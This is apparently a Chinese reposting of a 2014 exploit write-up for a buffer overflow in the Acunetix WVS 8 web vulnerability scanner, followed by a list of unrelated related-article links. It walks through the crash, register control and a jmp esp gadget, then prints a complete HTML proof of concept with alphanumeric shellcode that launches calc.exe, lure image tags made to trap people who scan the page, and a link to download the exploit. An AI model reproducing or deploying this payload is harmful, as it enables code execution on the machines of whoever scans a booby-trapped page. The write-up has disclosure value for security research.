漏掃工具AWVS命令執行
From: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html
0x00 概述
幾個星期前,作者曾發表了關於WINRAR 0DAY(檔名欺騙)的文章。得到了大量人的關注和詢問,所以這次又放出一個0day (最熱門的漏掃工具 wvs)。作者POC測試版本為: ACUNETIX 8 (build 20120704) 貌似是老外用的非常多版本。作者意圖想讓攻擊者在使用wvs 按下掃描鍵前三思而後行(這個才是真正的主動防護吧:)。
0x01 漏洞分析
ACUNETIX 是一款強大的漏掃工具,很多新手喜歡用這個工具進行掃描。
在掃描初始化階段,會有這樣一個附加選項,如下圖
這一點讓作者產生了興趣,透過分析得出wvs 在解析http response時,提取一些資源請求 類似:
#!html
<img src=http://externalSource.com/someimg.png >
<a href=http://externalSource.com/ ></a>
Etc...
作者又進一步分析了這個過程,驚奇的發現當某個外部域名長度超過268位元組,wvs就會crash,作者開始嘗試構造>=268位元組長度的域名: 首先測試 如下
<A href= "http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">
用Immunity Debugger(OD是這工具的母板)附加掛載到wvs訪問網站: Edx被0x41(A)覆蓋 ,然後取資料段記憶體越權訪問崩潰了:
作者本打算利用SHE溢位執行shellcode但是比較麻煩。
這裡有個難點:
因為是url字串所以避免url的編碼類似
0x22 ("), 0x23 (#), 0x24 ($), 0x25 (%), 0x5C (), 0x2F (/)
所以,這裡的shellcode不僅要是ascii,還要去除被URL編碼的字元,也因為如此很難繞過SHE保護。
作者提出的思路,利用前面可控制的EDX構造一個可讀的地址,同時要注意構造的edx地址要加8H
#!bash
MOVE ECX, DWORD PTR DS: [EDX-8];
Edx必須滿足下列兩個條件:
1.[edx]可讀
2.是ASCII符合並且沒有被URL轉義的符號
最終利用了0x663030XX 對應ascii值 f005。
前面精確測試出URL在268位元組時溢位(不包括http://),溢位點就是269這裡(500f開始)。
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB">
用wvs掃描
Ret之後,看到eip 被覆蓋BBBB 0x42424242。
這裡就選擇shellcode 存放位置 ,eax是call函式時的引數,就只有268位元組的A,esp當前棧頂指標指向著後面的B 明顯選擇esp(因為夠大 ascii編碼268位元組的shellcode很緊張的) 能控制到eip,也找好了shellcode存放空間。
再者就是找jmp esp 以前都是用公開的通用地址,這裡需要ascii字元且不被url編碼的,作者用的系統sxs.dll 的0x7e79515d,ascii編碼]Qy~
組合起來整個poc就是
<img src=”http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB”>
最後,用metasploit的Alphanumeric Shell模組生成了一個純ascii且沒有被url編碼的彈calc.exe的shellcode ,你也可以試試用mst生成其他的shellcode玩玩,選取的地址[edx]和wvs(沒有開啟dep的編譯選項),所以繞過dep防護。
<img src="http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA">
0x02 利用
作者這裡搞的非常好玩,因為這個點必須要用wvs人選擇下面這個才會有效。
So,作者很猥瑣構造了一些很誘惑的外部域名
“SQLINJECTION”
“XSS”
“CSRF”
And so on…
<html>
<img src="http://SQLInjection..............................................................................................................................................................................................AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA500fBBBB]Qy~TYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUKVPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMMPV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7ZUXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWWLNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWN KRKJ8JSNS4YMMOHT3ZQJOHQ4QJUQLN1VSLV5S1QYO0YA”>
<img src="http://XSS..............................................................................................................................................................................................">
<img src="http://CSRF..............................................................................................................................................................................................">
<img src="http://DeepScan..............................................................................................................................................................................................">
<img src="http://NetworkScan..............................................................................................................................................................................................">
<img src="http://DenialOfService..............................................................................................................................................................................................">
</html>
如下圖:
0x03 總結
我測試Wvs8.0 build 20120704 版本是可以成功彈出calc的。
後面評論有人說wvs8.0更新的版本也存在這個問題,我這裡測試下列版本:
Wvs8.0 20130416版本 Wvs9 各個版本
都不存在此問題。
作者給出的 exp下載。
相關文章
- AWVS掃描器掃描web漏洞操作2018-08-06Web
- awvs -網站掃描問題求指導2020-08-17網站
- 網站滲透測試漏掃工具的應用技巧2020-12-14網站
- linux伺服器基線加固、安全漏掃工具(綠盟...)掃出來的系統漏洞2020-12-05Linux伺服器
- 命令執行漏洞2020-10-20
- Docker執行命令2024-07-28Docker
- 網路掃描工具Nmap常用命令2021-07-03
- 5種常用Web安全掃描工具,快來查漏補缺吧!2024-04-07Web
- C# 執行緒查漏補缺2023-01-31C#執行緒
- 網路安全C10-2024.9.15-Nmap、Xray、Nessus和AWVS使用掃描2024-09-20
- Docker命令-docker exec-在執行的容器中執行命令2020-07-27Docker
- 容器化部署GVM掃漏系統2024-04-13
- C# 執行緒同步查漏補缺2023-02-02C#執行緒
- .net執行cmd命令2024-10-09
- Java執行cmd命令2022-02-14Java
- 收集 Linux 命令列執行的命令2019-05-01Linux命令列
- ClusterShell:一個在叢集節點上並行執行命令的好工具2019-07-26並行
- python裡執行shell命令或cmd命令2018-10-06Python
- 【Mongo】shell命令列模式執行mongo命令2018-05-09Go命令列模式
- 監控 redis 執行命令2019-01-10Redis
- Linux 後臺執行命令2020-06-06Linux
- 跟蹤執行命令T2018-03-22
- linux執行環境&命令2024-11-03Linux
- PHP命令執行集錦2022-03-21PHP
- shell指令碼命令 執行python檔案&python命令列執行python程式碼2018-04-26指令碼Python命令列
- 用 PHP 來執行執行網路相關命令2018-07-04PHP
- Golang 使用執行命令帶管道符執行的方法2019-09-06Golang
- Linux基礎命令---間歇執行命令watch2019-02-05Linux
- PhpStrom 優雅執行 Laravel 命令2018-07-02PHPLaravel
- oracle中執行os命令(轉)2019-06-04Oracle
- PHP命令執行與繞過2024-08-16PHP
- Redis 命令的執行過程2018-03-30Redis
- Java程式執行系統命令2021-07-15Java
- Linux系統執行命令方法2022-05-24Linux
- ctf訓練 命令執行漏洞2020-12-04
- IDEA 執行 XXX 時報錯命令列過長,縮短命令列並重新執行2024-05-30Idea命令列
- 在DOS視窗執行java命令中文顯示正常,執行javac命令中文亂碼2020-12-03Java
- npx: npm包執行工具2019-12-14NPM